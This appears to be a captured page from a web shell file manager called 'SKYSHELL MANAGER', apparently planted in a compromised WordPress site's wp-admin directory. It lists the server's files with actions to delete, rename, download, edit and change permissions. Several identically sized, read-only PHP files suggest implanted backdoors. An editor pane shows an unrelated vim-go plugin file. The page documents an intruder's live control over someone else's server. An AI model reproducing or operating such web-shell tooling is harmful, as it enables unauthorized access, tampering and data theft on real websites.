📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
fungiftdeals
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-footer.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
11.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
config.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
0.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
11.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
data.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-blocks.php
14.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
font-library.php
1.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
home.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
7.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy.php
2.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.phpwp-update.php
114.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets-form-blocks.php
5.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
xmlrpc.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: def.vim
let s:go_stack = [] let s:go_stack_level = 0 function! go#def#Jump(mode) let old_gopath = $GOPATH let $GOPATH = go#path#Detect() let fname = fnamemodify(expand("%"), ':p:gs?\\?/?') if &modified " Write current unsaved buffer to a temp file and use the modified content let l:tmpname = tempname() call writefile(getline(1, '$'), l:tmpname) let fname = l:tmpname endif " so guru right now is slow for some people. previously we were using " godef which also has it's own quirks. But this issue come up so many " times I've decided to support both. By default we still use guru as it " covers all edge cases, but now anyone can switch to godef if they wish let bin_name = get(g:, 'go_def_mode', 'guru') if bin_name == 'godef' let bin_path = go#path#CheckBinPath("godef") if empty(bin_path) let $GOPATH = old_gopath return endif let command = printf("%s -f=%s -o=%s -t", bin_path, fname, go#util#OffsetCursor()) let out = go#util#System(command) " append the type information to the same line so our " jump_to_declaration() function can parse it. This makes it " compatible with guru definition as well too let out = join(split(out, '\n'), ':') elseif bin_name == 'guru' let bin_path = go#path#CheckBinPath("guru") if empty(bin_path) let $GOPATH = old_gopath return endif let flags = "" if exists('g:go_guru_tags') let tags = get(g:, 'go_guru_tags') let flags = printf(" -tags %s", tags) endif let fname = shellescape(fname.':#'.go#util#OffsetCursor()) let command = printf("%s %s definition %s", bin_path, flags, fname) let out = go#util#System(command) else call go#util#EchoError('go_def_mode value: '. bin_name .' is not valid. Valid values are: [godef, guru]') return endif if exists("l:tmpname") call delete(l:tmpname) endif if go#util#ShellError() != 0 call go#util#EchoError(out) return endif call s:jump_to_declaration(out, a:mode) let $GOPATH = old_gopath endfunction function! s:jump_to_declaration(out, mode) " strip line ending let out = split(a:out, go#util#LineEnding())[0] if go#util#IsWin() let parts = split(out, '\(^[a-zA-Z]\)\@<!:') else let parts = split(out, ':') endif let filename = parts[0] let line = parts[1] let col = parts[2] let ident = parts[3] " Remove anything newer than the current position, just like basic " vim tag support if s:go_stack_level == 0 let s:go_stack = [] else let s:go_stack = s:go_stack[0:s:go_stack_level-1] endif " increment the stack counter let s:go_stack_level += 1 " push it on to the jumpstack let stack_entry = {'line': line("."), 'col': col("."), 'file': expand('%:p'), 'ident': ident} call add(s:go_stack, stack_entry) " needed for restoring back user setting this is because there are two " modes of switchbuf which we need based on the split mode let old_switchbuf = &switchbuf " jump to existing buffer if, 1. we have enabled it, 2. the buffer is loaded " and 3. there is buffer window number we switch to if get(g:, 'go_def_reuse_buffer', 0) && bufloaded(filename) != 0 && bufwinnr(filename) != -1 " jumpt to existing buffer if it exists execute bufwinnr(filename) . 'wincmd w' elseif a:mode == "tab" let &switchbuf = "usetab" if bufloaded(filename) == 0 tab split endif elseif a:mode == "split" split elseif a:mode == "vsplit" vsplit endif " open the file and jump to line and column exec 'edit '.filename call cursor(line, col) " also align the line to middle of the view normal! zz let &switchbuf = old_switchbuf endfunction function! go#def#SelectStackEntry() let target_window = go#ui#GetReturnWindow() if empty(target_window) let target_window = winnr() endif let highlighted_stack_entry = matchstr(getline("."), '^..\zs\(\d\+\)') if !empty(highlighted_stack_entry) execute target_window . "wincmd w" call go#def#Stack(str2nr(highlighted_stack_entry)) endif call go#ui#CloseWindow() endfunction function! go#def#StackUI() if len(s:go_stack) == 0 call go#util#EchoError("godef stack empty") return endif let stackOut = ['" <Up>,<Down>:navigate <Enter>:jump <Esc>,q:exit'] let i = 0 while i < len(s:go_stack) let entry = s:go_stack[i] let prefix = "" if i == s:go_stack_level let prefix = ">" else let prefix = " " endif call add(stackOut, printf("%s %d %s|%d col %d|%s", \ prefix, i+1, entry["file"], entry["line"], entry["col"], entry["ident"])) let i += 1 endwhile if s:go_stack_level == i call add(stackOut, "> ") endif call go#ui#OpenWindow("GoDef Stack", stackOut, "godefstack") noremap <buffer> <silent> <CR> :<C-U>call go#def#SelectStackEntry()<CR> noremap <buffer> <silent> <Esc> :<C-U>call go#ui#CloseWindow()<CR> noremap <buffer> <silent> q :<C-U>call go#ui#CloseWindow()<CR> endfunction function! go#def#StackClear(...) let s:go_stack = [] let s:go_stack_level = 0 endfunction function! go#def#StackPop(...) if len(s:go_stack) == 0 call go#util#EchoError("godef stack empty") return endif if s:go_stack_level == 0 call go#util#EchoError("at bottom of the godef stack") return endif if !len(a:000) let numPop = 1 else let numPop = a:1 endif let newLevel = str2nr(s:go_stack_level) - str2nr(numPop) call go#def#Stack(newLevel + 1) endfunction function! go#def#Stack(...) if len(s:go_stack) == 0 call go#util#EchoError("godef stack empty") return endif if !len(a:000) " Display interactive stack call go#def#StackUI() return else let jumpTarget = a:1 endif if jumpTarget !~ '^\d\+$' if jumpTarget !~ '^\s*$' call go#util#EchoError("location must be a number") endif return endif let jumpTarget = str2nr(jumpTarget) - 1 if jumpTarget >= 0 && jumpTarget < len(s:go_stack) let s:go_stack_level = jumpTarget let target = s:go_stack[s:go_stack_level] " jump exec 'edit '.target["file"] call cursor(target["line"], target["col"]) normal! zz else call go#util#EchoError("invalid location. Try :GoDefStack to see the list of valid entries") endif endfunction " vim: sw=2 ts=2 et
Save